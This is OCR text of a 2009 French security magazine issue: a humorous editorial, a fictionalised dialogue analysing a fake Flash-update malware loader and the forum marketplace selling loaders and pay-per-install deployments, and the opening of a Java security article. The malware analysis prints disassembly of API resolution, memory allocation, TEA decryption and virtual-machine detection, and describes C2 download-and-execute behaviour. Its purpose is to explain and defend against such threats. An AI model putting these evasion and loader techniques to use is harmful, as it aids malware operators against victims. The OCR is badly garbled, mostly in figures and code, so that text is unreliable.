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tout vient a point a qui sait attendre

EDITO

SOMMAIRE

Ah I'été, quelle merveilleuse saison ! Une fois encore, Paris se vide, et nos cotes se remplissent.
Alézarder an soleil en dégustant quelques barbecues arrosés de rosé (bien frais, mais pas
matinale), les cotes, les autres, se remplissent aussi aprés les rigueurs d'un régime pré-estival
destiné i faire ressortir des abdos imaginaires. Comme disait Rabelais, qui n'avait pas oublié
de picoler : « le jus de la vigne clarifie l'esprit et l'entendement .»

Retournons a nos moutons ! Fort de cet entendement, je me pose devant la page blanche a
Iheure de rédiger cet édito. Et 14, le vide. Pas celui de Bouddha, non, le manque d'inspiration.
Je reprendrais bien un peu d'entendement moi, et en plus j'ai un ereux... Comme disait Rabelais,
qui n'était pas le dernier & table : « le grand Dieu fit les planétes et nous faisons les plats nets »,

C'est alors qu'en pleine dégustation d'entendement, la lumiére vint. Ou phatét « vin ». J'ai bien
fait de persévérer, avec modération bien entendu. D'ailleurs, Rabelais, apotre de la sagesse et
de la modération, nous le rappelle : « l'appétit vient en mangeant ; la soif s'en va en buvant »,

Revenons sur les étés precédents. Il v a quelgues années, genre au début du 21éme siécle,
la mode estivale était au ver & propagation rapide, tendance je vais faire tomber internet en
moins de 30 secondes. Force est de supposer que les développeurs de ces codes malicieux
ont dii grandir et préférent eux aussi partir a la plage maintenant. Ou alors, c'est autre chose
qui a changé. A ce propos, Rabelais, scientifique avant heure, pose bien tot les limites des
expérimentations : « science sans conscience n'est gque ruine de I'ime .»

Finis donc les ver(re)s de la mort qui tue. Tls furent remplacés par des buzz : failles sur les pilotes
WiFi d Apple, failles sur les Cisco avec conférence annulée 4 la clé, sans parler de la mode des
big ones a repétition qui ont eux aussi manqué de faire tomber internet en moins de
30 secondes. La différence avec les vers vient de ce que ces vociférations sont arrangées dans
des grandes conférences prestigieuses (no comment) et que, cette fois, ce sont les gentils
qui font du bruit. Rabelais, observateur attentif des moeurs de son époque, le notait déja :
« la moitié du monde ne sait comment Pautre vit .»

En effet, que constate-t-on ? Lasymétrie entre les gentils et les méchants (ou la défense et I'at-
tague) est une évidence sion regarde simplement qui a l'initiative. Mais ce n'est pas le seul aspect.
Les méchants ne sont pas méchants juste pour le plaisir de I'étre, Trés souvent, il y a des intéréts
derriére, financiers, et pas petits qui plus est. Bref, les méchants sont méchants pour se faire du
blé, facilement, sans effort. Rien de nouveau. Rabelais, avee ses multiples éloges de la paresse,
etait déja un précurseur : « les heures sont faites pour 'homme, et non 'homme pour les heures, »

Mais les gentils aussi ont un estomac et de l'appétit : ils doivent se nourrir et gagner de 'argent.
Sauf que, bien souvent, pour comprendre les méchants ou imaginer ce qu'ils pourraient faire, ca
demande du temps (et le temps, c'est de l'argent), ca demande de l'audace (et Faudace, ca cofite
cher sans garantie de retour sur investissement), ca demande de I'innovation (et I'innovation,
¢a ne rapporte pas dans les deux mois qui suivent), Bref, le modéle économique du gentil est
bien plus compliqué. Comme l'expliquait Rabelais : « la téte perdue, ne périt que la personne :
les couilles perdues, périrait toute nature humaine. »

Et cet été alors ?, me direz-vous en tentant de me faire reprendre le fil de ma pensée. Ben rien |
Nada ! Walou | Neant ! Que dalle ! Le calme plat en somme (et ailleurs aussi). Pas de ver, pas de
scandale. A croire que la crise a tout tétanisé sur son passage, Méme la faille qui touche Ie plus
de versions du noyau Linux ou la sortie de Windows Seven ne changent rien : le calme je vous
dis ! Eh bien tant mieux, ¢a permet a tout un chacun de se plonger sereinement dans son maga-
zine prefere et de faire avancer ses propres travaux. Et comme disait Rabelais, qui s'y connais-
sait en cassage de systéme d'exploitation : « rompre I'0S et sucer la substantifique moelle ».

Sur ce, je délaisse l'entendement pour un café, l'addition, et bonne dégustation pour cet édito
au rab(el)ais.

Fred Raynal

Rendez-vous au 6 novembre 2009 pour le n°46 !
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fiEER I e R R Guillaume Arcas — guillaume.arcas@gmail.com

i R e e i David Lesperon — david.lesperon@gmail.com

ALL YOUR PILLS
' ARE BELONG
o 2 TO US (sume eTFIN)

_. mots-clés : cybercriminalité / écosystéme / modeéle économique / malware as a service

« Tout est vrai. Rien n'est vrai. Cest un roman ». (Serge Bramly)

les pédophiles néo-nazis et autres psychopathes racistes, sont passeés a lere
du 2.0 forment un écosysteme complexe. C'est ce que nous nous proposons
deffleurer dans cet article basé sur des faits réels. Afin de présenter au lecteur un
ensemble cohérent et afin de ne point heurter certains protagonistes, des noms ont
été modifiés ou masqués et des faits appartenant a des « affaires » différentes ont
été réunis en une méme histoire. Toute ressemblance avec des personnes physiques
ou morales existant ou ayant brutalement cessé dexister ne serait donc que pure
coincidence. Ou pas.

! linstar de ceux qui operent dans les rues, les groupes criminels qui, comme

1. Lundi 17 aout

« Bonjour monsieur Phelps. Voici les résultats de Cette premiére analyse dynamique ayant vite mon-
mes recherches sur le binaire flash_update.exe. Tout tré ses limites, j'ai décidé d’aller plus loin. Le fichier fait
d’abord, une grande majorité des antivirus du mar- =3 Ko et, sachant cela, on peut supposer qu'il est chargé
ché ne l'ont pas détecté, ce qui est déja inquiétant en de faire plus que les simples téléchargement et instal-
soi. Je I'ai ensuite exécuté sur une machine virtuelle lation d’un autre programme et/ou que son code a été
non connectée au réseau, mais sans succes : le binaire transformé pour rendre son analyse plus difficile. Clest
teste l'environnement d'exécution et agit difféeremment un exécutable au format PE composé de quatre sections
selon qu'il est exécuté sur une machine virtuelle ou pas. dont la section .rsre, qui accueille plutot des ressources

Je I'ai ensuite lancé sur un vrai PC instrumenté inertes (images, chaines de caractéres, etc.) dans les
afin de surveiller les modifications apportées au sys- programmes classiques, est marquée comme contenant
téme et certaines de ses activités. L4, il a fonctionné, des données non initialisées accessibles en lecture, en
s'est copié dans le répertoire du systéeme, s’est installé écriture et en exécution, ce qui nous fait trois raisons de
en tant que service et s'est connecté a un serveur sur nous méfier. Sa table d'importation, la liste des fonctions
le port 443. Léchange était chiffré et ma méthode de du systéme dont il a absolument besoin, semble incom-
surveillance du réseau, une simple capture, ne ma pas pléte : pas de fonction de création de fichier alors qu'il
permis d’'en connaitre la teneur, ce qui était certaine- en crée et pas de fonction permettant de charger dyna-
ment le but (en plus d’échapper aux I{D,P}S). miquement des bibliothéques, ce qui, justement, aurait
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pu lui permettre d’utiliser des fonctions classiques de manipu- [

lation de fichiers. Il semble contenir des informations de débo- I 00417510 Finds toreGetProckddress: . CODE YREF: .rsrc:004179151p
BpusEna
gage, mais elles ne sont pas cohérentes : les pointeurs vers les siireie ¥
2 : : i i . y . BE417516 getKerneliZInit
données ne désignent rien qui soit dans le fichier, le timestamp SMITAIT ub D sn3tkeh {
i { de Fon-thte PR indl Bis & e
indique 13/07/1993 alors que celui de I'en-téte PE indique %H?ﬂ i f: 33:5]'5"]
mony K, K
30/07/2008 (ce qui est déja beaucoup plus cohérent), etc. g TEES gothernel 12ndge:
ga & e lhen
Premiere chose faite lors de 'exécution : le décodage des ins- 9ot b L T e
7 11 2 410aE E E ﬁﬁgi; M E«E;:lp*;dj iFER], adx ; store kerpel3? address/handle
tructions des adresses 01417000 & x4188E4, plage qui est justement oy el e
. . " . : . B841753C add edi. edx ; EDL < kernel32!PE header addr. N
dans la section .rsrc mentionnée plus t6t. On voit clairement que e rdadld e e kacne 4 eapurtlabie)
le code a été transformé, pour rendre sa compréhension plus BR4I78AF findGetProcaddress: : CODE XREF: .rsrc:B04175664)
difficile ou pour géner la création d’'une signature permettant i i '
4 82417535 cmpGetProcAddress: ; EDI <~ addr. of "GetProcAddress"
de I'identifier rapidement. Certaines instructions simples sont | ;
DTl oo
= i » . ~ Ba41y loc_4175€5:
remplacees par des suites d'instructions ayant le méme effet. Par m;iﬁ? jz - short foundsetProckddrass
inc
.y : 80417568 | edi : ot F e inal | |
exemple, ces six instructions comprenant une boucle ne servent 90417569 loop  findGetProcAtdress AT LR Pt neme. oniinal

qu’a soustraire 8 d'une valeur (multiple de huit) (Fig. 25 TR i N RO RS
I_ m;;?ji fuundﬁe!;Pn:-:.ﬂdnfrgu: ¢ CODE :IEFrEF: .rsrc-lua.:_leEE-ﬁf_-
333933 FA- mov ecx § [E‘bﬂ"‘@{:h] ﬁ“’:":‘:ﬁi :h;: E:ﬂé*ﬁﬁ FFhl, =ax : srore GetProcAddress addr
EEEQHBFD mov Edl [Ebﬂ"‘@th] ﬁﬁgﬁ exXiItFindGetProcAddress:
00390400 80417599 popa |
0390400 letEDIbEE:. e T L TR MR i e e e s nsere e
gggggigg gl:g ggi; g m%;g% g:HEEPrﬁﬁmr.tndCalllt 1 CODE XREF: .rsrc:@@d17T634p
00390406 jge short letEDIbe8 dadirel] B S, sesioun il
02390428 sub ecx, edi SR4ITRAS Buah ||| B she DadR@3LEE o e

B 1 TSAE f:l.ll dword ptr [edx+4231FFh . CatProcAddress

Fig. 25 : Six instructions et une boucle pour...

soustraire 8 a une valeur

o Fig. 28 : Recherche de GetProcAddress, stockage de son
adresse et fonctionnalité dappel d'une fonction da partir de
Du code inutile a aussi été inséré, comme les deux instruc- son nom
tions précedant le pop ebx que vous pouvez voir (Fig. 26). =
[ I'adresse d'une fonction exportée par un module (DLL, etc.). Une

fois trouvée, elle est stockée. Ceci permet d’utiliser une fonction
exportée par un module (kernel3Z,d11 dans ce cas), comme la fonc-
tion d'allocation mémoire VirtuzlAlloc dans l'exemple (Fig. 29),

sans qu'elle soit dans la table d'importation du programme, le

Fig. 26 : Exemple d'insertion de code inutile, tout pouvant étre masqué par une couche de chiffrement.
icl avant un pop ehx

@@417733 push ebp : CODE XREF: .rsrc:@94178291Tp
8417733 , allocate memory

88417734 mov ebp, es

@2417736 sub esp, 1@

Cette premiere phase terminée, 'adresse [x417000 est placée

sur la pile et un ret est utilisé pour que l'exécution continue a 0417738 mov  dword ptr Ehpnl@lnﬂ 74726956h : put “VirtualAlloc” on the stack
l Eﬁ-ﬂ?;ﬁ Mo gwnrg ptr EEp—“"H 4166175k
o, 9 08417 MoV word ptr [ebp-81, A36F6cach
cet emplacement (Plg ?]* 2R41774E mov byte Etr [ebp-4]
08417752 push  PAGE EXECUTE. P READWRITE . flProtect
02417754 push MEM_COMMIT : flallocationType
@a417759 push 16082h . dwsize
' g Lo o
s g 4 ea eax, [ebp-18h + 'EAX <- addr{"Virtualalloc"
add esi, B7EED7h @0417763 call  getProcAddrAndcall
push 51 20417768 leave
dec ebx @0417769 retn

Fig. 29 : Allocation de mémoire utilisant
le code vu (Fig. 28)

dd nlbDEFm sh, 51B9599Ah __J

M e L R e e et :
Fig. 27 « Retour » vers lu sitite (0x417000) Cette technique permet au programme de charger des

bibliotheques et d'utiliser des fonctions issues de ces derniéres,
Pour faire le lien avec plusieurs aspects évoqués plus tot, sans que cela ne soit visible de prime abord.

t extrait Fig. 28). : . 1 ey :
voyez cet extrait de code (Fig. 28) Plusieurs étapes suivent dont le déchiffrement des sections

Ce code, dans la section .rsre, récupére l'adresse mémoire de qui doivent I'étre a I'aide de l'algorithme TEA (Tiny Encryption
cernel32.d11, puis 'adresse de sa table d'exportation et y recherche Algorithm) dont on voit la signature (Fig. 30), la reconstruction
lui-méme la fonetion GetProcAddress, fonetion qui permet d’'obtenir de la table d'importation, le chargement de bibliothéques, etc.
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@039848C loc _39@4BL:
@83904BC push edi L
BBSQEAEE MoV ebx, [edi]
883904 Mo ECX
203904C2 mov edx _IF. 37 T798%9h
283904C7 mov ean,
p@3994C9 shl gax, 5
2@3904CC mov edi, Z@h
08398401
08398401 loc_3584D1:

5 ebp, 4
08398406 sub ecx, ebp
A@3924D8 mov ebp, [esi+i]
08398408 xor ebp, ebx
283958400 sub ecx, ebp
9839040F mov ebp, ebx
@83984E1 shr ebp, 5
GEBBE#Ed :ur Ehp, Ean

Fig. 30 : Imph i'm’n!‘riinml de quum ithme TEA (extrait)

et 50 «

- constante magique »

)

Bref, bien que tout cela ne soit pas forcément tres lisible, cela

ne représente pas un obstacle majeur et on se trouve facilement

en position de « dumper » l'exécutable résultant sur le disque.

Dans ce dernier, on trouve bien du code dont le but est de detec-

ter si l'exécution se fait dans une machine virtuelle (Fig. 31).

Moy
moy
sub
str
mov
cmp

tst_1sVM: :
Jn
Cmg
jnz
M

e
Mo
mov
call
imul
wor

Imp

eax, offset block
esl, eax

esi, offset Clock
[ebp+str_result]
eax, o

1 CODE XREF

. VM check

actionSwitch+CAtj

+ 5ot esi = block3 length

byte ptr [ebptstr_result], @

shart VM_che

bﬁte ptr [Ebp+an
ort VM. ct

eax, 1

ehy, aaw

[esp+B8h+action_H

[esp+88h+action_L
actionSwitch
eax, ebx
esi, eax

CODE XREF: actionSwitch:tst_isVMtj
. actionSwitch+17D1j

. B ﬂ

, 211CEh ; set action = get block2 CRC
. st key = VMdetected ?

lﬂSLLt*L]

'; VM detected

block3 length * block2 CRC
blockd length

Fig. 31 :

Détection de machine virtuelle

sl

« M. Hique, je ne doute pas du fait que tous ces détails passionne-

ront les lecteurs de votre rapport technique mais...concrétement ? »

« Nous v venons. Lexécutable obtenu n'a pas du tout la méme

forme que le code vu jusqu'ici : il est clair, relativement lisible.

Cela va méme plus loin. Regardez la liste suivante (Fig. 32).

—

Fig. 32 :

ntrlﬂE#Bﬂ*Dﬂ

sub 4033E (toc_403...
sub 40351 (loc_403...
sub 4035F04+7A
sub_4035F0+FC
sub_403820+199
sub_403AED+43
sub_d403AEQ+BE
sub_403AE0+BE
sub_403AE0+ES
sub_403AE0+126
sub_403AE0+132
sub_4034E0+13E
sub_403AED+15F

sub 404020 loc_404. ..
sub_404534+79

suth - 404...

NS

Liste (tronquée) des 3

dsﬁﬂLu!Ennr
call dsGetlastEmor
call dsGetlastEmor
call ds:GetlastEmor
call dsGetlastEmor
call dsGetlastEmo
call dsGetlastEmo
call dsGetlastEmor
call ds:GetlastEmor
call deGetlastEmraor
mov  ebp. de:GetLastEmor
cal ebp . GetLastEmor
cal ebp;GetLastEmor
call
call
call
(i8]

ebp ; GetlastEmor
dsGetlastE mar
ds: GetlastE rror

"ﬂ:ﬁaiﬁﬂtﬂEﬁm

5 appels a GetLastError()

6 Misc N° 45 - Septembre/Octobre

Il s’agit de la liste (tronquée, ici) des 35 appels a la fonction
Getlastirror(), fonetion qui, pour résumer, donne le code de la
derniére erreur rencontrée lors de I'appel d'une fonction du sys-
téme. Ceci peut a priori sembler totalement anecdotique, mais
je pense que cela manifeste d'une volonté de l'auteur d'écrire du
code ‘propre’, ‘maintenable’ et, surtout, stable. »

« Si je vous suis correctement, vous étes en train de me dire
que l'auteur voit I'infection d'une machine par ce programme
comme une forme d'investissement et qu'il fait trés attention a ne
pas gaspiller cet investissement, d'otl cette volonte de stabilité. »

« Exactement. Autre point notable : la seule ‘protection’, si
l'on peut dire, de ce programme est son enveloppe, c'est-a-dire
les différentes couches de compression/chiffrement que jévo-
quais. Au final, on a plutét I'impression d'avoir affaire a une
production trés ‘pragmatique’ dans le sens oti I'essentiel est que
cela fonctionne et soit stable, 'obfuscation étant reléguee au
statut d'accessoire via l'utilisation d'un outil tiers.

Si maintenant nous regardons un extrait des chaines de

caractéres présentes dans la version décodée de I'exécutable
(F1
celles-ci se vérifiant in vivo et a I'étude du code.

. 23), nous trouvons plusieurs indications intéressantes,

Fig. 34 : Chaines de caractéres de la version décodée de lexécutable

La premiére : 4 la fin de l'extrait se trouve le chemin et le
nom du fichier de symboles associé a 'exécutable sur la machine
de I'auteur, ces symboles ayant pour but de faciliter le débogage.
Outre le nom du répertoire projects qui nous permet de supposer
que l'auteur parle anglais, on note la présence, dans le répertoire
du projet (protect), d'un dossier nommé trunk. Ce nom laisse pen-
ser que I'auteur utilise un systéme de gestion de versions du code
source. Cela peut étre le signe que ses méthodes sont relative-
ment professionnelles, ce qui rejoint la notion ‘d’investissement’
que vous évoquiez. Cela peut aussi montrer un besoin de main-
tenir plusieurs versions (ou branches) de ce programme. Enfin,
I'utilisation d'un systéme de gestion des sources peut aussi étre lié

au fait que plusieurs personnes travaillent sur ce méme projet. »

« Je vois oll vous voulez en venir : la professionnalisation des
auteurs de programmes de cette sorte est plus quen marche. »

« Tout a fait.




La deuxiéme indication est relative a la facon dont ce pro-
gramme va s'installer et se lancer, o il va s'installer et sous quel
nom : dans l'ordre, comme un pilote dans le dossier Systeni?, sous
le nom de CbEvtSve.exe. Les observations faites sur ma machine
de test confirment cela, ainsi que I'étude du code.

Enfin, la troisiéme concerne la communication chiffrée
initiée avec le serveur HTTPS. Le programme récupére des
informations sur la machine : le type et la version du systéme ;
le pays ; un identifiant (supposé) unique de la machine obtenu
grice a la fonetion GetlurrentHwProfile() ; ete. Ces informations
seront les paramétres transmis via la méthode HTTP PI5T & un
script en PHP (ldrctl/ldrctl,php) héberge sur un serveur dont

l'adresse est en dur dans le programme.

En envoyant une telle requéte a ce serveur, j'ai obtenu
une réponse composée d'une liste d’'URL pointant vers

des exécutables, cette liste étant terminée par la chaine
O7EBBOBS-ET0A-475a-9921-E6B0244A8(17 qui sert de marqueur de fin. »

« On dirait qu'il y a une erreur sur la ligne User-Agent car

User-Agent y apparait [
deux fois. »

&4 i IR g g b TR Es
e RN e ."..'.'l.:.:l'l.l.l;!'.".-l-.::l.llnll--:--:

« Finement @ o
DbSEl‘Vé, M. PhElPS. (penooran BaM HaIst Yooy rn cram
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étonné, un moyen de

facilement détecter des e Spab (T 0./ 2
clients illegitimes aux e e

yeux des propriétaires Pgraine: @ QW
du serveur : une valeur

de lser-Agent sans erreur
éetant un motif d'alarme.

Enfin, les exécu-
tables de la liste sont téléchargés et exécutés par ce service. »

« Quant au pays, a I'ildentifiant unique de machine et a la ver-
sion du systeme, c’est... intéressant. Surtout quand on sait que ce
programme est installé, d'aprés ce que vous m’avez dit, en tant
que service, donc est supposé rester en place. En fait, ce serait
une bonne méthode pour monétiser I'infection d'une machine :
s’y maintenir sans provoquer de catastrophe (‘stabilité’),
vendre a I'avance un service d'installation ciblé par pays et
systeme sur N machines et surveiller qu'effectivement notre
contrat de service est rempli en comptabilisant les machines
uniques sur lesquelles I'installation commandée a eu lieu...

Et que font ces programmes teéléchargés ? »

« Le plus ‘prometteur’ d’entre eux est un cheval de Troie.
Une fois installé, il contacte d’autres machines, elles-mémes
infectées. Pour cela, il utilise un fichier qui contient plusieurs

0 $ 1. 000.000 cootmami

Fig. 34 : Offre denvoi de spam sur un forum
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centaines d'adresses IP de ces machines. Les communications
se font en utilisant le protocole UDP au sein d'un réseau de type
P2P tres semblable a ceux utilisés pour les échanges de fichiers
entre internautes. Au bout de quelques minutes, il établit une
connexion TCP avec quelques machines inconnues jusqu’'a
present, établit une session avec I'une d’elles et télécharge une
grande quantité de donnees. Entre autres choses, il se met a jour.
I1 télécharge aussi des données de configuration parmi lesquelles
des modeles de courriels. On retrouve ainsi les différents sujets,
valeurs des champ fron et domaines ciblés par les campagnes de
spams. On trouve aussi les domaines qui hébergent les faux sites

de vente.

Enfin, point trés intéressant : le cheval de Troie teste s'il se
trouve sur une machine accessible depuis I'extérieur via TCP et
adapte son comportement en fonction du résultat. Si l'ordinateur
infecté n'accepte pas les connexions venant de I'extérieur car,
par exemple, protégé par un pare-feu, il ne fera qu'envoyer des
spams. Dans le cas inverse, il se comportera comme un tunnel
TCP et redirigera des
requétes HTTP... »

cor Venyre cosms po Iog M Hill afesty, Cosis o ke

PR « Comme les
machines dont vous
me parliez la semaine

derniére ? »
« Parfaitement. »

« Comment peut-

on remonter jusqu’aux
organisateurs ? »

« Les recrute-

—— ments, les propositions

de services, les offres
d'emplois, la publicité

S5

a peu pres tout ce qui concerne les échanges d'informations,

pour des outils, bref

de services et d'argent au sein d'un groupe ou entre groupes
d’intéréts, passent, plus ou moins directement, par des forums.
Certains sites ont quasiment pignon sur Web et sont a la fois
des lieux ot s'échangent des techniques et des places de vente.

Plusieurs communautés sont ainsi organisées autour de ces
forums et leurs modes de fonctionnement n'ont rien a envier a
certains sites estampillés Web 2.0 : chaque membre peut don-
ner son avis et voter pour tel ou tel ‘vendeur’, comme on peut

le faire sur eBay. »
« Comment ¢a ? »

« Un membre va poster une offre de service, comme un déni
de service distribué ou, par exemple, proposer un outil (rootkit,
downloader, etc.). A titre d'illustration, voici une offre faite par

un spammeur (Fig. 34).
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All vour pills are belong to us (suite et fin)
. o J

A gauche de l'offre, on trouve des infor-

Answer: Resident Loader v2.5

mations sur l'auteur de l'annonce : nombre de
messages déja laisses sur ce forum ; nombre
de remerciements adressés par des membres
du forum ; niveau de réputation, etec.

[::nrﬂ"de ._-.||:e|.i|-'_::=.. Mavers: 0/12

Voici un autre exemple, traduit, mon-

Fosts: 924 : -
Bid you register at

trant le processus suivi depuis l'offre ini- id you
- My jabber:

Group:
tiale jusqu’aux premiers retours. i A b i

Joined: 20.07.2007

Reputation: (Elfte)

Il s'agit d'une offre pour un programme

Fig. 37 : Un administrateur valide l'offre.

similaire a la fausse mise a jour de Flash

que je vous al présentée : un programime
restant installé sur une machine infectée et chargé d'y téle- =

Resident Loader vd.5

charger et exécuter d’autres programmes a la demande tout en

ww checks in the other forums:

restant discret.

Resident Loader v1.5 d possibility to set an infinite number of stand-domains! Abuzry no longer scared.

Resident Loader v2.5 ( Fig. 38 : Le vendeur annonce une nouvelle fonctionnalité

=

Hello. We offer yvou the H

This means that it 15 fixed In the ¢ Il be constantly load your files, thus

creating a computer - . x .

« Un département abuse ? C'est-a-dire ? »
Mewhie l.l:._..!_-ri h._".l'._"lh:!':‘"lf-‘l iked

+ Written in FASM + Plain « Le produit est un loader, un pro-

Posts: 4 ted an equally well on the folliowing operating systems

PR -] gramme qui a pour but d'en télécharger/
Joined: bt s exeécuter d'autres et, ainsi, de permettre, en

Reputation: {Local) quelque sorte, la location ou la vente d'une
Videos: - machine (vue comme une ressource), ou la

vente d'une prestation d'installation dis-

+ Has been tested and circumvents the following firewall and proactive protection (
Fig. 35 : Offre pour un mahvare réalisant des installations G distance tante si vous préférez. Ce programme doit

- savoir ou télécharger les binaires a lancer :

On remarque (Fig. 35) que cet annonceur commence par

il a besoin, au minimum, d'une adresse IP

- - L ¥ ’l
8 - o |.\_1 - . . 5 . o i
écrire « Nous vous proposons », ce qui laisse entendre qu'il ou d'un nom qui sera résolu lors de I'exécution. »

ne s'agit que d'un émissaire. Apres la description des caracteé-

A : : : i « Le nom du serveur ot obtenir les binaires. »
ristiques techniques du produit et les tarifs des différents ser-

vices associés a l'offre (ex. : modifications pour échapper a la « Oui, ou I'adresse de la liste des emplacements des binaires.

détection des antivirus pendant une semaine, un mois, etc.), Donc, si la source (le serveur de controle) est désignée par un

il annonce étre prét a voir son offre évaluée (Fig. 36). nom de domaine unique dans le loader et que quelqu’un arrive

= a le récupérer, alors un simple message électronique a l'adresse

ahusasregistrariul)
R TR I = *--,.d]_Lll..'

-
11 LW LR

lainelnique pourrait suffire & empécher le
fonctionnement du service vendu. C'est ainsi qu'est proposée
la possibilité de spécifier un nombre de domaines (potentielle-

ment) illimité, pour ne plus « avoir peur », pour reprendre leurs

Fig. 36 : Le vendeur annonce étre prét a voir son offre évaluée
par les responsables du forum.

termes, des conséquences des signalements faits aux adresses

buse@registrar (ou abuse@hoster ou abuse@atriple), le nombre

{9

Un peu plus tard (Fig. 37), un administrateur et membre de domaines utilisables réduisant les risques d’étre coupé

réepute du forum intervient pour indiquer que la validité de du monde. »

l'offre a été vérifiée. Il joue le réle de tiers de confiance. « Je vois. »

Le vendeur intervient ensuite a deux reprises pour donner « Le fait que le vendeur écrive étre ‘prét a ce que’ son offre soit

des liens vers des évaluations faites sur d'autres forums et pour évaluée (et non ‘propose que’), que le premier intervenant soit un

annoncer de nouvelles fonctionnalités, ici (Fig. 38) la possibilite
d'utiliser un nombre infini de noms de domaines pour ne plus
avoir peur d'un département abuse ».
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administrateur du forum qui donne son ‘feu vert’ et quenfin des
évaluations similaires aient eté faites sur d'autres forums indique
que cette facon de procéder est courante et plus généralement




que ce ‘milieu’ posséde ses codes, ses
regles. Enfin, un acheteur, membre du
forum, donne son avis sur le produit et le
déroulement de la transaction (Fig. 39).

Les offres sont ainsi proposées sur
des sites qui servent, au travers de cer-
tains de leurs membres, de tiers

Fig. 30 : Un acheteur donne son auvis

A B SOCIETE

étre un levier puissant, puisque le
modéle économique de cet environne-
ment semble assez instable. En effet,
le nombre de commandes de médica-
ments est faible comparé au nombre
de spams émis. Les ‘infrastructures’,
enfin, comme les fournisseurs d’ac-
ces et les hébergeurs. Tous

de confiance. Elles sont ensuite
évaluées par les acheteurs qui
peuvent noter les vendeurs, ces
derniers voyant ainsi leur cré-
dibilité augmenter ou diminuer.
Cela ressemble en tous points
aux systemes de votes sur des EKOPOCTE DTTRY3KN BESX CTPEH.
sites de vente grand public, ' ' i

mais en plus... familial si vous

Hipie T

voyez ce que je veux dire... el 228
Edl’.ﬂf'.l' B0E

LiSA CLLlA m 1A%

i & GA (AsEmeRl s

Les membres bien notés, .Ef;@?m;?-- | 1508

E {I opsaauipm)™™ 1 T

8 PL (Mo btirs £

ceux qui se font remarquer EE;E;.:-,_TL_{:--- fﬂ

comme utiles a la communauté, I e S OO0 o A
“Camiand o7 100k cocrammegT -10%
“Cxinsa |,'|r1 1ok ;-Erl;'rau neET "l;l_'-.

-
8

peuvent étre invités a monter

-

en grade en étant autorisés a
accéder aux espaces ‘VIP' des
forums ou a des forums plus
prestigieux. Ceci ne facilite pas vraiment l'approche des ‘gros’
poissons dans la mesure ou, pour ce faire, il faut se ‘mouiller’
suffisamment pour avoir la réputation nécessaire. Les ‘services’
compétents ont déja tenté des opérations d'infiltration ou appro-
chant comme dans les cas connus ‘Shadowerew’ ou ‘Darkmarket’,
mais cela semble assez complexe & mettre en place. »

« Effectivement, c'est complexe & mettre en place, car il est
difficile de se lancer dans ce type d’action sans que des plaintes
soient déposées, car cela nécessite une coopération entre pays,
concept apparemment encore largement perfectible de nos jours,
car cela pose des questions éthiques, car rester discret suffisam-
ment longtemps pour arriver au but fixé est loin d'étre évident,
l'autre camp étant lui aussi paranoiaque, etc. Mais si nous vou-

lions tenter de géner ces gens sans sembarrasser du protocole ? »

« 11 y aurait plusieurs ‘angles d'attaque’. Les membres des
forums, tout d’abord, en retournant contre eux leur systéme de
notation ou en les déstabilisant dans le monde réel, dans lequel
ils sont peut-étre plus vulnérables. L'argent, ensuite, pourrait

- 3TO NPHEMNHMLE UBHE, ONBPETHEHOOTE, HAQBXHOCTE M OLICTRAR

UeTanaHnsE TR -2 RN AT ECh © R

£y

Fig. q0 : Offre de service de déploiement de malwares

les acteurs en dépendent et
augmenter leurs cotits tech-
niques en les perturbant
pourrait étre intéressant dans
la mesure o, comme je vous
le disais, leur modéle écono-
mique semble instable. »

« Vous me disiez que le
c programme proposé sur ce
forum pouvait permettre

e —= & & i
o

- B

de vendre une prestation
d'installation distante : en
est-on déja arrivé au stade

e de la vente de services, de la
sous-traitance ? »

.

Voici un exemple d’'un tel service (Fig. 40).

« Oui, nous y sommes.

Le logo montre un virus stylisé déployé sur tous les conti-
nents. Laccroche dit ‘prix raisonnables, efficaciteé, fiabilité et
rapidité de livraison pour tous pays’. Suivent la description du
service et, en bas a gauche, les tarifs, en fonction des pays, pour
mille déploiements ainsi que, en bas a droite, la liste des contacts
ICQ pour ceux qui seraient intéresses par l'offre. Les pays/zones
proposés dans les tarifs sont : Asie, ‘mélange’, Europe, USA,
Grande-Bretagne, Italie, Allemagne, Pologne, Brésil, Canada,
autres pays. »

« Vous avez dit...pour mille déploiements ? »

« Pour un ‘déploiement’ sur mille machines distinctes, oui.
Cela m'a moi aussi surpris la premiére fois. A noter qu'un client
peut prétendre a une réduction de 10% si la commande atteint
dix mille machines ou cent mille pour les pays les moins chers. »

« Merci, Cyril, pour vos explications. J'attends votre rap-
port détaillé pour voir quelles suites nous pouvons donner a
tout cela. »

2. Lundi 21 septembre

James Phelps trouva sur son bureau 6 plaquettes de
Cyagra plus vraies que nature en apparence. A leur coté,
une chemise rouge.

Son téléphone sonna : « Bonjour monsieur Phelps.
Cyril Higue a l'appareil. »
Les affaires reprenaient... M
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en place dans une JVM pour interdire [utilisation de code malveillant.

Cet article présente les différentes techniques et
approches permettant de faire de Java I'un des langages
les plus siirs : les opcodes et la JVM, le scellement des

DOSSIER B B R O

Philippe Prados — Architecte chez Atos Origin
article@prados.fr

LA SECURITE
DE JAVA

mots-clés : Java/sécurité / porte dérobée / XML / Maven / Spring

epuis lorigine, Java utilise différentes technologies pour protéger les postes
utilisateurs contre du code malveillant. Combinées, elles permettent une réelle
sécurité, rarement mise en défaut. Regardons les différentes barrieres mises

packages, certains packages spéciaux, les API, la sand box
et les gardians, avant d'évoquer quelques vulnérabilités
encore présentes.

1. Opcode et JVM

La premiére couche de sécurité de Java consiste a utili-
ser une machine virtuelle pour l'exécution d'un code. Cette
machine virtuelle a été spécialement con¢ue pour réali-
ser une vérification compléte du code, avant son exécu-
tion. Les Opcodes ont été sélectionnés pour faciliter cette
analyse. Ainsi, il n'est pas possible de rédiger une classe
spécialement formée pour exploiter une confusion entre
un entier et un pointeur, pour déborder d'un tableau, etc.

Comme le compilateur ne peut étre digne de
confiance, ces vérifications sont effectuées par la JVM
au chargement. Lors de l'installation d'une classe, la JVM
effectue de nombreux controles sur le code’. Ensuite, elle
peut assumer que le code soit qualifie et genérer, a la
volée, un code assembleur optimisé.

Elle vérifie ;

~# qu'il n'y a pas d'opération entrainant un débordement
de pile vers le haut ou le bas ;

~@ que toutes les variables locales utilisées et valorisées

sont valides ;

~# que les arguments de toutes les instructions de la
JVM utilisent des types valides.

1.

Le processus s'effectue en plusieurs étapes.

Lorsqu'une classe est chargée par la machine vir-

tuelle, elle vérifie si le format du fichier est correct.

- | U'étape suivante vérifie les contraintes de base du lan-

gage. Est-ce qu'une classe finale n'a pas de sous-classe
et est-ce que les méthodes finales ne sont pas surchar-
